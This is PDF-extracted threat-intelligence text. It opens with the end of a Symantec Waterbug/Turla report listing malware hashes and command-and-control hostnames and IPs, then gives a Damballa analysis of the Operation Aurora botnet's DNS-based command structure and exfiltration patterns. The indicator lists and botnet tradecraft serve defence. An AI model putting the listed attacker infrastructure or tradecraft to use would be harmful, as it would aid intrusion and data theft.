9c1199662869706e1361b3cc1df1f8b6 SAV 2011 2014-03-21 06:41:53 101e57e655cd70de09fdb5dc6660a861 SAV 2011 2014-03-21 06:41:53 36986f7dedc83c8ea3fbd6a51bd594b2 SAV 2011 2014-03-21 06:41:53 463c217df2ea75f98cb4d02b8b688318 SAV 2011 2014-03-21 06:41:53 ce184ef045f4b0eb47df744ef54df7bc SAV 2011 2014-03-21 06:41:53 efdaf1460ce9e62bde6b98ae4749cf56 SAV 2011 2014-03-21 06:41:53 fcaebfbad36d66627c3e1c72f621131a ComRAT 2013-01-03 00:37:57 255118ac14a9e66124f7110acd16f2cd ComRAT 2013-01-03 00:55:06 8d4f71c3ec9a7a52904bbf30d0ad7f07 ComRAT 2013-01-03 18:03:16 7592ac5c1cf57c3c923477d8590b6384 ComRAT 2013-01-03 18:03:45 b407b6e5b4046da226d6e189a67f62ca ComRAT 2013-01-03 18:14:51 0ae421691579ff6b27f65f49e79e88f6 Generic 24a13fc69075025615de7154c3f5f83f Generic 3189de1ff1f8afed0f70e352dfcd2abb Page 42 The Waterbug attack group Trojan.
Turla CC servers Symantec has sinkholed a number of CC servers used by the Waterbug group.
Table 6 details the CC servers that Symantec has identified.
Generic a4791944d- c3b6306692aed9821b11356 mail.9aac.ru http://kad.arbitr.ru/ http://9aas.arbitr.ru 9aas.arbitr.ru/ Generic bdf2a449f611836bc55117586d8b1b31 Generic dd5c6199cef69d4e2a1795e481d5f87d Generic eeeccf09d64c6d32d67dbcedd25d47ac Generic fa8715078d45101200a6e2bf7321aa04 Generic 2009-01-28 19:42:44 5943c25e20dffc0801ee1e38dc9e3ddd Generic 2009-01-28 19:42:44 692512e5132315b115a0b197d7 ab6561 Generic 2009-07-13 23:56:35 f2c7bb8acc97f92e987a2d4087d021b1 Generic 2010-11-20 09:46:13 5746bd7e255dd6a8afa06f7c42c1ba41 Table 6.
CC servers used by the Waterbug group CC hostname / IP Address Sinkholed communityeu.xp3.biz SINKHOLED euassociate.6te.net SINKHOLED euland.freevar.com SINKHOLED eu-sciffi.99k.org fifa-rules.25u.com franceonline.sytes.net greece-travel.servepics.com hockey-news.servehttp.com marketplace.servehttp.com musicplanet.servemp3.com music-world.servemp3.com newutils.3utilities.com nightday.comxa.com north-area.bbsindex.com SINKHOLED olympik-blog.4dq.com pokerface.servegame.com pressforum.serveblog.net sanky.sportsontheweb.net softprog.freeoda.com tiger.got-game.org tiger.netii.net toolsthem.xp3.biz SINKHOLED top-facts.sytes.net weather-online.hopto.org wintersport.sytes.net Page 43 The Waterbug attack group world-weather.zapto.org x-files.zapto.org booking.etowns.org SINKHOLED easports.3d-game.com SINKHOLED cheapflights.etowns.net SINKHOLED academyawards.effers.com SINKHOLED 62.68.73.57 62.12.39.117 202.78.201.99 82.113.19.75 207.226.44.167 85.195.129.196 193.19.191.240 82.211.156.190 72.232.222.58 212.6.56.67 62.212.226.118 82.113.19.72 196.45.118.14 82.77.184.252 213.150.170.192 212.6.56.82 62.12.39.117 62.68.73.57 80.88.134.172 te4step.tripod.com www.scifi.pages.at support4u.5u.com eu-sciffi.99k.org swim.onlinewebshop.net winter.site11.com july.mypressonline.com soheylistore.ir tazohor.com jucheafrica.com 61paris.fr For specific country offices and contact numbers, please visit our website.
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http://www.symantec.com go.symantec.com/social/ Pattern-2 Pattern-3 Pattern-4 Pattern-5 Pattern-6 Pattern-7 Pattern-8 Pattern-9 OVERVIEW Introduction Vectors Spear-phishing Venom distribution network Malware Trojan.
Wipbot Trojan.
Turla Conclusion Appendix Injection attack analysis PluginDetect library Exploits Trojanized applications Trojan.
Turla variants Detection guidance Waterbug tools Additional exploits used Samples Trojan.
Turla CC servers
Take Back Command-and-Control The Command Structure of the Aurora Botnet History, Patterns and Findings Executive Overview Following the public disclosures of electronic attacks launched against Google and several other businesses, subsequently referred to as Operation Aurora, Damballa conducted detailed analysis to confirm that existing customers were already protected and to ascertain the sophistication of the criminal operators behind the botnet.
There has been much media attention and speculation as to the nature of the attacks.
Multiple publications have covered individual aspects of the threat  in particular detailed analysis of forensically recovered malware and explanations of the Advanced Persistent Threat (APT).
By contrast, Damballa has been able to compile an extensive timeline of the attack dating back to mid-2009 that identifies unique aspects to the Aurora botnet that have been previously unknown.
Based upon this new information and our experience in dealing with thousands of enterprise-targeted botnets, Damballa believes that the criminal operators behind the attack are relatively unsophisticated compared other professional botnet operators.
Even so, the results proved just as damaging as a sophisticated botnet since the threat was not quickly identified and neutralized.
Key observations discussed in the main body of this analysis report: The major pattern of attacks previously identified as occurring in mid-December 2009 targeting Google appear to originate in July 2009 from mainland China.
Hosts compromised with Aurora botnet agents and rallied to the botnet Command-and-Control (CnC) channels were distributed across multiple countries before the public disclosure of Aurora, with the top five countries being the United States, China, Germany, Taiwan and the United Kingdom.
Damballa identified additional botnet CnC domains used by these criminal operators and established a timeline of malware associations back to May 2nd 2009 by tracking the evolution of the malware used by Auroras operators.
Analysis of network traffic associated with the lookups of the botnet CnC is not consistent with the publicly discussed Internet Explorer 6 infection vector.
This botnet has a simple command topology and makes extensive use of Dynamic DNS (DDNS) CnC techniques.
The construction of the botnet would be classed as old-school, and is rarely used by professional botnet criminal operators any more.
Reliance upon DDNS CnC is typically associated with new and amateur botnet operators The criminals behind the Google attack appear to have built and managed a number of separate botnets and run a series of targeted attack campaigns in parallel.
This conclusion is based upon CnC domain registration and management information.
The earliest of the CnC domains associated with these botnets, reliant upon DDNS service provisioning, appear to have been registered on July 13th 2009.
The Command Structure of the Aurora Botnet Page 2 The botnet operators had access to large numbers of CnC hosts in geographically diverse hosting co-locations from the very start  a fairly high cost for a botnet.
Further, the botnet employed over a dozen domains in diverse DDNS networks for CnC.
Some of the botnet agents focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims.
Only the US victims of the attack were compelled to perform mail-based DNS queries  an event that would typically indicate attempted document exfiltration via email services.
Damballa identified multiple CnC testing, deployment, management and shutdown phases of the botnet CnC channels.
Some of the CnC domains appear to have become dormant for a period of time after they infected victim systems.
This type of activity can sometimes be associated with an update to the botnet malware, or when the criminal operator sells/trades a segment of the botnet to another criminal operator.
The botnet operators behind the Aurora attacks deployed other malware families prior to the key Trojan.
Hydraq release.
Some of these releases overlapped with each other.
Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware  Login Software 2009 and Fake Microsoft Antispyware Service, both of which employed fake antivirus infection messages to socially engineer victims into installing malicious botnet agents.
By studying the evolution of the Google attacks and tracking the malicious campaigns conducted before (and in parallel to) the public disclosure of Operation Aurora in January 2010, Damballa has established a detailed timeline of infections.
Instead of this attack being a sophisticated APT operation, it appears that the attacks originated from a Chinese botnet operations team, and that the attack vector underwent several different phases of botnet building and malware deployment before being discovered by Google.
The fact that some of the later attacks utilized a different family of malware and may have exploited Zero-Day vulnerabilities within Internet Explorer 6 as one of the infection vectors is typical for modern botnet distribution campaigns.
Botnet operators also increasingly trade or sell segments of the botnets they build.
Once sold, the owner of the botnet typically deploys a new suite of malware onto compromised systems.
The CnC provides the link between various campaigns run by the botnet operators and the multiple malware iterations.
Since Damballa focuses on malicious, remote- controlled crimeware that depends on CnC to function, we were able to determine the evolution and sophistication of the Aurora botnet and its operators with greater detail and accuracy than other reports to-date.
In general, Aurora is just another botnet and typifies the advanced nature of the threat and the criminal ecosystem that supports it.
It is important to note, however, that botnets linked to the criminal operators behind Aurora may have been sold or traded to other botnet operators, either in sections or on an individual victim basis.
This kind of transaction is increasingly popular.
Specialist botnet builders sell access to victim systems or networks for a fee  making it very simple for other entities to access confidential business systems and information without needing be technologically proficient.
These transactions between criminals are very difficult to detect.
The Command Structure of the Aurora Botnet Page 3 Introduction The progression of semi-autonomous malware into globe-spanning botnets with victims numbering in the millions continues to accelerate.
In short, botnets, and the criminal ecosystem that supports them, lie at the heart of modern cybercrime.
Specialist contractors and service providers occupy every online niche, enabling both newbie hackers and professional botnet operators to overcome technological hurdles and operational barriers for a small price  typically stolen identities or access to hijacked systems rather than dollars.
All it takes to get started is an Internet search engine and the ability to install software on a computer.
Devastating attacks start with a nominal fee for acquiring advanced malware construction tools capable of automatically generating customized botnet agents dramatically superior to tools used by professional hackers only three years ago.
Fierce competition within the ecosystem has resulted in the commoditization of these tools and services, which has lowered price points and driven suppliers to differentiate with 24x7 support, money-back guarantees, replacement warrantees and even SLAs.
Major international corporations have begun to publicly acknowledge this electronic threat.
On January 12, 2010, Google announced that it had been the victim of a targeted attack and had subsequently identified over 34 additional organizations that had similarly been breached by the same criminal team.
One major industrial powerhouse has publicly focused on the risks posed by persistent electronic attacks by including references to these threats in their quarterly 10-K filing.
Report Objectives The purpose of this report is to explain the advanced state of todays botnet ecosystem by way of example, and to examine the ways in which criminal operators rely upon botnet technologies to breach corporate networks and extract secrets from their victims.
Much media fervor has surrounded Googles public disclosure of the successful attacks against their systems.
33 other victims also fell prey to what has been frequently referred to as an Advanced Persistent Threat (APT).
This report closely examines the methods employed by the criminal operators who conducted this botnet campaign.
Many security vendors have explained the operation against Google, dubbed Operation Aurora, using a military vernacular.
However, based upon analysis of exhaustive data surrounding these attacks and examination of both the malware and the CnC topologies used by the criminals behind Aurora, it appears that this threat can best be classified as a just another common botnet attack  and one that is more amateur than average.
This report details new analysis of the malware evolution and the CnC construction behind these attacks, and provides unique insight into similar threats facing large business.
Comparisons are made between the Aurora attacks and professionally orchestrated campaigns run by sophisticated cyber criminals.
Timelines track the evolution of this threat help to identify the objectives of the criminals behind the Aurora attacks, and illustrate the advanced state of the botnet ecosystem.
Understanding Aurora Malware samples recovered from victim systems using forensic techniques lie at the heart of almost all public analysis of Aurora.
The samples directly associated with Aurora are commonly referred to as Trojan.
Hydraq.
Damballa analyzed the Trojan.
Hydraq outbreak using DNS monitoring logs obtained from CnC authority DNS servers.
Since every infected host in the Aurora botnet contacted the The Command Structure of the Aurora Botnet Page 4 authority server, DNS logs provided a rich inventory of the botnets resolution behavior.
The logs also delivered insights into the development, gestation and growth of the Aurora botnet.
This data leads to several interesting questions: Origins  Which network first resolved the botnet CnC domains?
Who was the first victim?
Are there clues in the first DNS lookups as to the authors or origin of the network?
The analysis below shows that a university in China, and a Chinese collocation facility (colo), were critical early incubators of the infection.
Portions of the infection originated from within Google Chinas offices.
Remediation and Damage Assessment  Who else resolved the botnet CnC domains before news of the malware became public?
What were the victim systems forced to do?
Public accounts state that the botnet harvested email information.
The DNS log analysis reveals numerous MX-lookups (mail-related DNS lookups).
If these lookups are related to document theft, it is reasonable to estimate the number and timing of attempted exfiltration events.
In addition to the type of DNS traffic, the log analysis also reveals where the victims are located.
Almost all (99) of these events took place inside Googles US network.
No victim in any other country performed MX lookups, suggesting Auroras data exfiltration targets were all in the U.S.
The pattern of MX lookups appears automated and lacks any diurnal properties.
Capabilities  What else does DNS log analysis suggest, and what other questions does it raise about the attack?
Damballas analysis helps illumine the origin of the botnet, based on years of observing the authority servers used in the Aurora CnC.
Previously Disclosed Aurora Knowledge Operation Aurora refers to the investigations of a cyber attack which appeared to have begun in mid- December 2009 and continued through to February 2010.
Aurora was first publicly disclosed by Google on January 12, 2010  and is commonly associated with attacks originating from China.
The Aurora name was originally publicized by Dmitri Alperovitch, Vice President of Threat Research at McAfee, and refers to a file path artifact that might reveal what the criminal authors of the malware named their operation.
Key facts publicly associated with Aurora: a) Google stated that some of their intellectual property had been stolen and publicly announced the attack on January 12th 2010.
b) While the scope of reported victims includes around 34 organizations, only Google, Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted.
Various media reports have stated that Yahoo, Symantec, Northrop Grumman, Dow Chemical and the Rand Corporation were also among the targets.
c) Many security agencies and experts claim the attack to be a sophisticated use of advanced tools and techniques  most notably the use of a Zero-Day exploit for a previously unknown vulnerability in Microsofts Internet Explorer 6 browser technology.
d) The public name for the malware component that allowed the Aurora criminal operators to remotely control their victims system is called Trojan.
Hydraq.
e) The Aurora attacks are widely assumed to be an APT originating from within China.
The Command Structure of the Aurora Botnet Page 5 Advanced Persistent Threats Advanced Persistent Threats (APTs) are a cybercrime category directed at business and political targets.
APTs require a high degree of stealithiness over a prolonged duration of operation in order to be successful.
The attack objectives therefore typically extend beyond immediate financial gain, and compromised systems continue to be of service even after key systems have been breached and initial goals reached.
Definitions of precisely what an APT is can vary widely, but can best be summarized by their named requirements: Advanced  Criminal operators behind the threat utilize the full spectrum of computer intrusion technologies and techniques.
While individual components of the attack may not be classed as particularly advanced (e.g.
malware components generated from commonly available DIY construction kits, or the use of easily procured exploit materials), their operators typically access and develop more advanced tools as required.
They combine multiple attack methodologies and tools in order to reach and compromise their target.
Persistent  Criminal operators give priority to a specific task, rather than opportunistically seeking immediate financial gain.
This distinction implies that the attackers are guided by external entities.
The attack is conducted through continuous monitoring and interaction of a botnet in order to achieve the defined objectives.
It does not mean a barrage of constant attacks and malware updates.
In fact, a low-and-slow approach is usually more successful.
Threat  Means that there is a level of coordinated human involvement in the attack.
The criminal operators have a specific objective and are skilled, motivated, organized and well funded.
Damballas Perspective Damballas research and technical expertise focuses on the detection of CnC tethering and the malicious communications between a victims computer and the remote criminal operator.
Damballa detects new botnet CnC channels as they are created and used by criminal operators.
This globe- spanning array of network sensors monitors CnC use to identify victims that join botnets.
Damaballa used key DNS observations about the operational characteristics of Dynamic DNS zones (e.g.
zone cuts, TTL changes, NS changes, etc.)
in order to identify the different states in which the botnet was operated by its criminal controllers.
Changes in the way that a DNS zone is structured by criminals typically denotes an intension to develop, test, and operate malicious infrastructure, or abandon a particular zone and move to a new one.
Damballa also reviewed historical DNS resolution data derived from our passive observation systems to identify when (and how frequently) the CnC domain names associated with the Aurora botnet were queried.
This information provided valuable insight into the pace at which victims rallied to the botnet and established a timeline for Aurora.
The Command Structure of the Aurora Botnet Page 6 Figure 1: Cumulative volume of CnC domain name resolutions.
Absolute numbers do not represent individual victims (i.e.
victim computers make repeated lookups based upon the TTL of the CnC domain and relative malware activity on the system), but do depict approximately when the CnC domains were first used by the Aurora botnet.
From this passive DNS resolution dataset, that date appears to be June 14, 2009.
These network observations combine with Damballas ability to identify Zero-Day remote access malware and botnet agents within customers networks to determine additional CnC relationships.
Zero-Day malware samples are automatically passed to Damballas analysis cloud  along with tens-of- thousands of new malware variants obtained through industry security sharing programs.
These network behaviors are extracted, and provide Damballa with additional insight into CnC evolution and criminal ownership.
They also allow us to cluster various malware and botnet agents automatically with their respective criminal operators  despite factors such as serial variant production, migrations to new malware families and sub-contracting malware development to other criminal authors.
Trojan.
Hydraq is the name of a family of malware now synonymous with Operation Aurora.
To date, only a handful of related samples have been made public by various security vendors  almost all of which were gathered through forensic analysis of compromised computers.
However, it is important to understand that not only are there multiple variants of malware within the Trojan.
Hydraq family, but that criminal operators also use(d) other malware families in their attacks.
Based upon analysis of samples and data gathered by Damballa, malware associated with the criminal operators behind the Aurora botnet can be traced back to August 2009.
A holistic DNS forensic analysis of any botnet that utilizes DNS as a critical communication element requires DNS information from both the iterative and recursive DNS phases.
Utilizing large scale passive DNS information from large ISPs and DNS traces from a significant portion of the CnCs DNS authority servers (ANS) Damballa has identified more than many infected hosts that attempted to connect or rally to the five CnC domain names associated with the Aurora botnet and investigated in this report.
These hosts where distributed across multiple countries at the time of the public Google disclosure (January 12, 2010).
1 10 100 1000 10000 100000 1000000 7/1/2009 8/1/2009 9/1/2009 10/1/2009 11/1/2009 12/1/2009 1/1/2010 The Command Structure of the Aurora Botnet Page 7 Position Country 1 United States 2 China 3 Germany 4 Taiwan 5 United Kingdom Table 1: Top 5 countries with Aurora botnet victims Damballas passive DNS data collection indicates that the infection vector was not centralized, and that a significant number of infected assets tried to look up CnC domain names throughout the US, with a higher frequency in the Northeast.
Figure 2: Volume of DNS queries per Aurora CnC domain associated with the attacks within the USA, by geographic region Some interesting observations can be made about the lifetime and popularity of the CnC domains used.
The next figure shows that portions of the CnC domain names were active since the beginning of September 2009 (e.g.
google.homelinux.com, yahoo.blogdns.net, mcsmc.org).
These domain names reveal two important trends  a downward-spike during the month of October and a steady hit rate for the remaining months.
Beside these long-lived CnC domain names, Damballa observed a number of domain names that become active in the early days of November.
Some of them were active only for a couple of months (e.g.
filoups.info), while others where active longer The Command Structure of the Aurora Botnet Page 8 (e.g.
m7been.zapto.org, baltika1.servebeer.com, etc.)
before they where sinkholed by corresponding DNS operators.
Figure 3: Volume of DNS resolution queries per Aurora botnet, per month.
Spikes in query volume typically indicate growth of a botnet and renewed CnC interaction.
The Major Components Botnets are a business.
Professional criminal operators employ specialist tools, services and methodologies to conduct their botnet operations.
While botnet discussion has been tied malware families in the past (e.g.
The Conficker Botnet, The Koobface Botnet), todays botnet operators regularly employ multiple families of malware, considering them disposable attack tools.
The key elements of a botnet are: Malware  The tool used by botnet operators to conduct malicious activities on victims computers and to provide remote control capabilities.
CnC  The electronic tether between the criminal operator, a control server and victims computers.
CnC Domain  The domain name of the host being used for CnC conduct or to route communications between the control server and the victims computer.
CnC Server  The server used by the botnet operators to rally and provide electronic tethers to victim computers.
Botnet  The collective name for malware-infected victims with established connections to a CnC server and remotely controlled by criminal operators.
Criminal Operators  The person or team that builds, manages and reaps financial reward from a botnet.
The Command Structure of the Aurora Botnet Page 9 How Advanced Persistent Threats Breach Enterprises APTs breach enterprises through a wide variety of vectors, even in the presence of properly designed and maintained defense-in-depth strategies: Internet-based malware infection Physical malware infection External exploitation Well funded APT adversaries do not necessarily need to breach perimeter security controls from an external perspective.
They can, and often do, leverage insider threat and trusted connection vectors to access and compromise targeted systems.
Abuse and compromise of trusted connections is a key ingredient for many APTs.
While the targeted organization may employ sophisticated technologies in order to prevent infection and compromise of their digital systems, criminal operators often tunnel into an organization using the hijacked credentials of employees or business partners, or via less-secured remote offices.
As such, almost any organization or remote site may fall victim to an APT and be utilized as a soft entry or information harvesting point.
A key requirement for APTs (as opposed to an everyday botnet) is to remain invisible for as long as possible.
As such, the criminal operators of APT technologies tend to focus on low and slow attacks stealthily moving from one compromised host to the next, without generating regular or predictable network traffic  to hunt for specific data or system objectives.
Tremendous effort is invested to ensure that malicious actions cannot be observed by legitimate operators of these systems.
The Command Structure of the Aurora Botnet Page 10 Malware is a key ingredient in successful APT operations.
Modern off-the-shelf and commercial malware includes all of the features and functionality necessary to infect digital systems, hide from host-based detection systems, navigate networks, capture and extricate key data, provide video surveillance and deliver silent covert channels for remote control.
APT operators often use custom malware tools to achieve specific objectives and harvest information from non-standard systems.
At the very heart of every APT lies remote control functionality.
Criminal operators need this capability in order to navigate to specific hosts within target organizations, exploit and manipulate local systems, and gain continuous access to critical information.
If an APT cannot connect with its criminal operators, then it cannot transmit any intelligence it may have captured.
In effect, it has been neutered.
This characteristic makes APTs appear as a sub-category of botnets.
While APT malware can remain stealthy at the host level, the network activity associated with remote control is more easily identified.
As such, APTs are most effectively identified, contained and disrupted at the network level.
Controlling the Victim Once the victims computer has been compromised, the malware component will typically establish its first CnC session to register itself with the botnet CnC server.
In order for this to occur, the botnet operator must correctly set up the CnC servers and also configure appropriate resolution services such as registering domain names and configuring DNS resolution settings.
Depending upon the sophistication of the botnet operators, this CnC infrastructure can take on many different forms, with each alternative offering varying degrees of robustness and flexibility.
Readers are encouraged to read Damballas earlier whitepaper titled, Botnet Communication Topologies: Understanding the Intricacies of Botnet Command-and-Control, for more information on this topic.
The Command Structure of the Aurora Botnet Page 11 Detailed analysis of DNS intricacies for CnC domain name querying and management follow.
Key Concepts: DNS Overview DNS resolution can be generally viewed as having two phases  a private stub (or recursive) layer, and a public authoritative (or iterative) layer.
Figure 4: Conceptual view of Aurora DNS lookups and multiple monitoring opportunities.
Damballa used the convenience of an authority monitoring system to gather [qr aa] responses.
The figure above illustrates how Aurora victims performed DNS lookups, and provides a simplified delegation tree for several of the Aurora-related CnC domains.
An Aurora authority DNS zone is depicted: the light blue zone delegated to No-IP.
The No-IP zone has been simplified in the diagram to include the authority DNS servers, nf[1-4].no-ip.com, as well as the actual Aurora CnC domain, blog1.servebeer.com, even though in practice these are separate delegations from the .com TLD parent.
An infected host is depicted in the light green area.
Its resolution path consists of the virus code (designated as VX), a local stub resolver (often available through various statically named or random DLL files on Windows hosts), and a local recursive DNS server.
The private portions of DNS traffic occur within this local envelope, colored as the light green area.
No DNS monitoring takes place here, in part because of the possible presence of PII, and because of the staggering volume of traffic monitoring might entail, for even a small network.
Such networks often generate billions of queries per day below the recursive.
When a victim attempts to contact the Aurora CnC domain blog1.servebeer.com, it must first discover the delegation of the zone to the No-IP authority name servers.
(
To save space, these steps are not shown in the figure above).
The overall delegation of authority is shown in the figure as a tree.
The hosts nf[1-4].no-ip.com are the authorities for the CnC zone.
Thus, the victim networks recursive server discovers these name servers, queries for the Aurora CnC domain, and caches the answer.
Dynamic DNS and IP-Agility Botnets have used Dynamic DNS services (DDNS) for nearly 8 years.
For the most part, the role of DDNS in professional, criminal botnets is historic.
Concentrated cleanup efforts and a few well documented arrests have changed the class of botmaster using DDNS.
For the most part, professional cyber criminals do not use DDNS for botnet rallying, since DDNS providers: The Command Structure of the Aurora Botnet Page 12 a) are generally responsive to law enforcement b) keep logs and c) a few are famously known to actively monitor and remediate their networks.
Since 2007, most professional criminal botnet CnCs (e.g., Russian mafia) have moved away from DDNS, because of the aggressive stance taken by the major DDNS providers against botnet abuse.
While there has been a recent return of novice botmasters to the free DNS services, the professional criminal botmasters have largely moved on to more resilient, agile DNS technologies.
For example, professional botnets buy tens of thousands of domain names, and use domain agility instead of the IP agility found in DDNS.
The best example of this is Conficker.
C. The decline in professional botnet use of DDNS services has been so dramatic that many anti-botnet researchers changed their focus to new areas of threat.
The average botmaster still using DDNS is generally a novice, and the malware they seed on victim machines is often kit-generated.
There are a few exceptions where amateur botmasters evolve into professionals, but the bulk of botnets relying upon DDNS remain novice efforts, and use only a few domain names with a single DDNS provider.
The Aurora botnet uses DDNS and old school coordination techniques not used by sophisticated botmasters who have the means to purchase and manage dozens of domain names.
And yet despite having the signature of a novice effort, it also used numerous different DDNS services.
Network Analysis The network analysis in this report encompasses the CnC domain names known to be publicly associated with the Aurora attacks, plus an additional four non-public domains (listed below) which are related to the criminal operators behind the Aurora attacks through shared DDNS registration credentials and their synchronized management.
Domain Authority Creation Date (UTC) CnC_Domain.1 December 15, 2009 CnC_Domain.2 December 15, 2009 CnC_Domain.3 July 13, 2009 CnC_Domain.4 December 15, 2009 blog1.servebeer.com December 15, 2009 Table 2: DDNS botnets with characteristics identical to the Aurora botnet and shared DDNS credentials.
The first four of these CnC domains have been intentionally obscured.
The DNS TTL data associated with these interlinked Aurora domain names reveals that there were different phases to their use.
The figure below indicates when a particular CnC domain name was sinkholed or idle (i.e.
not pointing to a specific Internet IP address, or pointing to a local loopback address such as 127.0.0.1), it was pointing at probable development IP addresses as the criminal operators experimented with their attack tools, such as when the CnC domain names were pointing at the IP addresses associated with two of the CnC servers used during the Aurora attack.
The Command Structure of the Aurora Botnet Page 13 Figure 5: CnC domain name transition changes as the attackers developed botnet attacks.
Based upon passively obtained DNS resolution data from sensors scattered around the globe (but predominantly US based), Damballa observed that several key CnC domains resolved to different server IP addresses over the period of study.
The transitions from one IP address to another can be used to identify the different phases of botnet development (e.g.
as depicted in the figure above), as well as the nature of the CnC servers hosting and botnet topology (e.g.
whether parts of the CnC network were using fast-flux services).
The table below lists the number of IP address changes to the CnC domain name resolution  and is a lower bound number, since Damballa does not monitor all Internet traffic.
CnC Domain Name Distinct IP Addresses baltika1.servebeer.com 50 m7been.zapto.org 50 miecros.info 4 mcsmc.org 3 yahoo.blogdns.net 5 filoups.info 2 google.homeunix.com 2 Table 3: The number of distinct IP addresses observed by Damballa and associated with each of the CnC domain names for the period of August 2009 to the Google Aurora disclosure on January 12, 2010.
The Command Structure of the Aurora Botnet Page 14 Overview of CnC Domains Not all of the authority servers hosted by the DDNS providers for this botnet were monitored by Damballa and sampling practices were adopted for this analysis.
In general, for large botnets, the sampling this produces is more than adequate to detect professional cyber criminal botnets.
Around 5,236 recursive DNS servers visiting the Aurora CnC authorities used BIND.
The table below lists the major types.
Damballa identified a signature specific to Chinese closed recursive DNS servers that provides policy insight to some selected resolvers.
The table below provides counts of queries from recursive DNS servers for both ISO-3166 country code and qtype.
All data was gathered on or before January 11, 2010 (the eve of the Google public announcement) to avoid polluting queries from the press and researchers.
It is estimated that Google discovered this attack in mid to late December, 2009, so some of the resolution traffic could be associated with their internal remediation.
The table also demonstrates that only US victims were required to perform MX queries, hinting at data extraction via SMTP mail services.
Query Type US CN Others 15 (MX) 143,015 0 0 1 (A) 52,787 644 676 28 (AAAA) 12,254 84 0 Table 4: Breakdown of qtype by country code of recursive, for all five studied Aurora botnet CnCs.
Highlights: (a) Only the US victims were compelled to perform MX queries (qtype 15) all networks in China and other countries never performed an MX query (b) No AAAA (qtype 28) queries were performed by international victims, who were presumably collateral victims the pairing of AAAA to A queries is discussed below and (c) Most queries were MX (68 overall), and the attack heavily biased towards the US (also 68  overall).
CnC Domains over Time Damballas analysis of DNS data has revealed the very early origin (July 2009) of the botnet.
Even during this early deployment, the botnet was widely dispersed.
Since these were the first DNS resolutions for these attacks, it is reasonable to assume they are associated with the botmaster (e.g., testing or configuring their attack), and not victims.
Thus, these resolutions might correspond to several CnC sites.
If this theory is correct, it suggests that, despite using naive DDNS services typical of novice botnet operators, the Aurora botmasters had considerable resources available to them.
CnC_Domain.1 The first resolution for CnC_Domain.1 came from within Google Chinas offices.
It was followed hours later by resolutions inside Googles offices in Mountain View, California.
The pattern of lookups is remarkable, and is worth closer study.
The first queries for CnC_Domain.1 were: 2009-12-16 05:26:44  AAAA  (Google China) 2009-12-17 22:39:09  AAAA  (Google Mountain View) 2009-12-17 22:39:09  A  (Google Mountain View) The Command Structure of the Aurora Botnet Page 15 Counting Attempted Exfiltration Events Other patterns of DNS messages in CnC_Domain.1 suggest the attempted exfiltration of data.
Consider this ordering of queries: 2009-12-18 06:29:09  MX   (Google Mountain View) 2009-12-18 06:29:09  A    (Google Mountain View) The queries both happen in under a second, indicating that a host using a recursive resolver wished to send email to the CnC_Domain.1 CnC (hence the MX lookup).
Dynamic DNS zones, however, almost never have valid MX RRsets, or if they do they are pointed to abusetraps or spamtraps.
Only a few DDNS providers offer mail, and the first query was therefore answered with an empty record (NOERROR status, with zero answers).
As a result, the victim immediately performed an A query, to use the IP address for email.
Whether these queries were followed by actual or successful email events is not known.
All MX queries in CnC_Domain.1 came from the United States (and no other network outside the US performed such a query before the news broke).
Before January 10th 2010, some 110,810 MX queries came from Google Mountain View, and one came from Comcast (San Jose).
This Comcast- based query may have been testing by a Google security engineer, or it may have been an infection on a notebook after work (since the query took place in the late evening hours, PST).
From the volume of messages, it is presumed that each MX query corresponds to a single email exfiltration attempt.
It would be hard to imagine a botmaster being able to direct these events individually.
Thus, it may not be the case that bots were instructed to email materials when a specific event took place.
Or the consistent pattern of queries could be the result of persistent searches of a hard drive, and attempted, periodic exfiltration of any useful data.
This conclusion is speculation.
The lack of any diurnal pattern to these events does indicate that the trigger event for an MX lookup was not human-driven (e.g., the arrival of email on a victim machine, or selected actions by the botmaster).
It is not known what information was taken, if any, or if these queries were in fact victim behavior.
Public accounts from Google indicate that the attackers sought email records of human rights activists.
It is speculated that Google would have prevented the direct-to-MX behavior of hosts within their network.
That is, in many corporate networks, individual user machines are prohibited from sending email directly, and must instead use a smart host or authenticated relay system.
Thus, these MX lookups may well be side effect of an unsuccessful exfiltration effort.
The malware also used ports 443 and 8585 for CnC, and could be instructed to perform any command.
CnC_Domain.3 The CnC_Domain.3 CnC domain is interesting because of its age.
The botnet dates back to July 14, 2009, fell dormant for months, and then became active again within Googles network.
Of the five CnC domains studied in detail within this report, this is the oldest, and most strongly suggests an origin for the botnet.
The early queries for the Aurora CnC domain CnC_Domain.3 took place in the HangZhou region, with some occurring in Beijing.
The domain had a remarkable number of queries from mainland China The Command Structure of the Aurora Botnet Page 16 and collocation facilities in the US within minutes of being created.
Seconds later, another query came from Chinanets network in the Chongqing area.
The close timing of these suggests the owners of CnC_Domain.3 had access to ISP, university, and commercial transit.
2009-07-14 02:50:03  A    (HiNet Taiwan) 2009-07-14 02:57:38  A    (CHINANET Jiangsu) 2009-07-14 02:58:31  A    (CHINANET HangZhou) 2009-07-14 03:03:11  A    (HangZhou Institute of Electronic Engineering) 2009-07-14 03:03:44  A    (CHINANET Chongqing) 2009-07-14 03:04:28  A    (FDC Servers, US Chicago) 2009-07-14 03:13:18  A    (Level 3, US Washington) The pattern of these lookups suggests that the author was performing testing, and had access to two different transits (e.g., a school network and an ISP).
CnC_Domain.2 The first query for the CnC_Domain.2 domain came from Googles Mountain View recursive.
2009-12-17 22:39:09  AAAA  (Google Mountain View) 2009-12-18 06:27:58  MX    (Google Mountain View) 2009-12-18 06:27:58  A    (Google Mountain View) 2009-12-18 18:15:18  AAAA    (Comcast San Jose) 2009-12-18 18:15:18  A    (Comcast San Jose) 2009-12-18 18:15:18  MX   (Comcast San Jose) 2009-12-18 18:19:30  AAAA    (Google-IT) 2009-12-18 18:19:30  A    (Google-IT) The CnC_Domain.2 CnC domain is also notable because it witnessed queries from many other networks outside of Google before the public news broke.
This domain has never been identified publicly as part of Aurora.
Networks performing queries up to January 10, 2010 include numerous ISPs.
Observed Loss of Queries When a botnet is remediated at the DNS level, the associated victims continue to query the authority DNS server.
Unless and until the local network cleans the hosts or imposes network blocks, victim traffic to the authority will continue.
A sudden loss of network traffic from a country, however, can be unusual, particularly where the victims are spread over disparate (heterogeneous policy) networks.
That is, it is unlikely that many different networks would simultaneously remediate hosts.
Thus, while it may seem likely that all victims in a single network disappear (e.g., as when a network operator deploys a firewall rule), it is remarkable when all victims in diverse policy boundaries also disappear.
